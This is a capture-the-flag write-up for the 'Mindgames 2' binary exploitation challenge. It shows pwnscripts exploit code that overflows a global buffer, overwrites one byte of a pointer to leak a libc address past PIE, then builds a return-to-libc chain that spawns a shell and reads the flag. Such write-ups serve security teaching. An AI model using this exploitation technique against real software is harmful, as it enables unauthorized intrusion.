# Mindgames 2*This time I hardened my mind even better. No way you are gonna win this one!*
`nc pwn.institute 41337`
If you didn't know, the library used in the solution code here is [`pwnscripts`](https://github.com/152334H/pwnscripts)
## DifferencesThere's essentially only 1 difference between mindgames 1336 & 1337:```python    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled```PIE is enabled! Ain't that grand.
If you scroll up a little bit to my previous challenge's writeup, you'll realise that my previous exploit only works if PIE is disabled. To finish the challenge here, we'll need to find a different way to leak libc.
In the previous challenge, I noted that we didn't use this function in our exploit:```cint show_highscore() {  return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);}```Here, it becomes important. In `set_new_highscore()`, `memcpy()` copies our input to the aptly-titled `overflow[]`:```cset_new_highscore() {  ssize_t n; // ST08_8  char buf[0x110]; // [rsp+10h] [rbp-110h]
  printf("Give me your name: ");  selected_name = &overflow;  n = read(0, buf, 0x400);  memcpy(&overflow, buf, n); // <----- focus on this}```This will naturally cause an *overflow* into a number of other variables:```idaLOAD:0000000000004018 off_4018        dq offset localtime     ; DATA XREF: _localtime↑rLOAD:0000000000004020 off_4020        dq offset puts          ; DATA XREF: _puts↑rLOAD:0000000000004028 off_4028        dq offset __stack_chk_failLOAD:0000000000004028                                         ; DATA XREF: ___stack_chk_fail↑rLOAD:0000000000004030 off_4030        dq offset printf        ; DATA XREF: _printf↑rLOAD:0000000000004038 off_4038        dq offset alarm         ; DATA XREF: _alarm↑rLOAD:0000000000004040 off_4040        dq offset read          ; DATA XREF: _read↑r...LOAD:00000000000040C0 ; char overflow[32]LOAD:00000000000040C0 overflow        db 20h dup(0)           ; DATA XREF: set_new_highscore+2B↑oLOAD:00000000000040E0 highscore       dd 1                    ; DATA XREF: srand_init+CC↑wLOAD:00000000000040E4                 align 8LOAD:00000000000040E8 selected_name   dq 0                    ; DATA XREF: srand_init+B2↑wLOAD:00000000000040F0                 align 20hLOAD:0000000000004100 NAMEARRAY       dq offset ...```We can overwrite `selected_name` with this smaller overflow. The trick here is to realise that the original value of `selected_name` (`&overflow == PIE+0x40c0`) only differs from the location of the GOT table by it's least-significant-byte. Or to put it a little bit more meaningfully: if we overflow *just one byte* of `selected_name` to, e.g. `0x30`, we can leak the value of the GOT function at `overflow-0xc0+0x30` (which is `printf`).
Everything after that is really just a simple exercise in implementation. We start with a few re-definitions from the previous code to match the new exploit:```pythoncontext.binary = 'mindgames_1337'context.binary.symbols = {'overflow': 0x40c0, 'selected_name': 0x40e8}context.binary.got = {'puts':0x4020}context.libc_database = 'libc-database'context.libc = 'libc6_2.28-10_amd64'# from prev chaldef read_400(payload, minwins=0):	# Helper function to do the set_new_highscore() overflow of 0x400 bytes    p.sendlineafter('> ', '2')    for i in range(minwins):        p.sendlineafter('>' if i else '> ', str(C.rand()))    p.sendlineafter('>' if minwins else '> ', '0')    p.recvuntil('Amazing!\n')    p.sendafter('name: ', payload)```Then, we leak a single libc address. We only need one address because we already know the libc id from the previous challenge.```pythonpayload = b'\0'*(context.binary.symbols['selected_name']-context.binary.symbols['overflow'])payload+= pack(context.binary.got['puts'])[:1] # Overwrite the last byte, so PIE.overflow -> PIE.putsread_400(payload, nextrand)p.sendlineafter('> ', str(1))p.recvuntil('\t by \t ')context.libc.calc_base('puts', extract_first_bytes(p.recvline(),6))```Finally, do a return-to-libc-system again:```pythonr = ROP(context.libc)r.raw(b'\0'*0x118)r.system(context.libc.symbols['str_bin_sh'])read_400(r.chain())p.interactive()```It hardly ever changes.```python[*] Switching to interactive mode$ lsflagmindgames$ cat flagBCTF{and_n0w_y0u_ate_my_PIE?}$```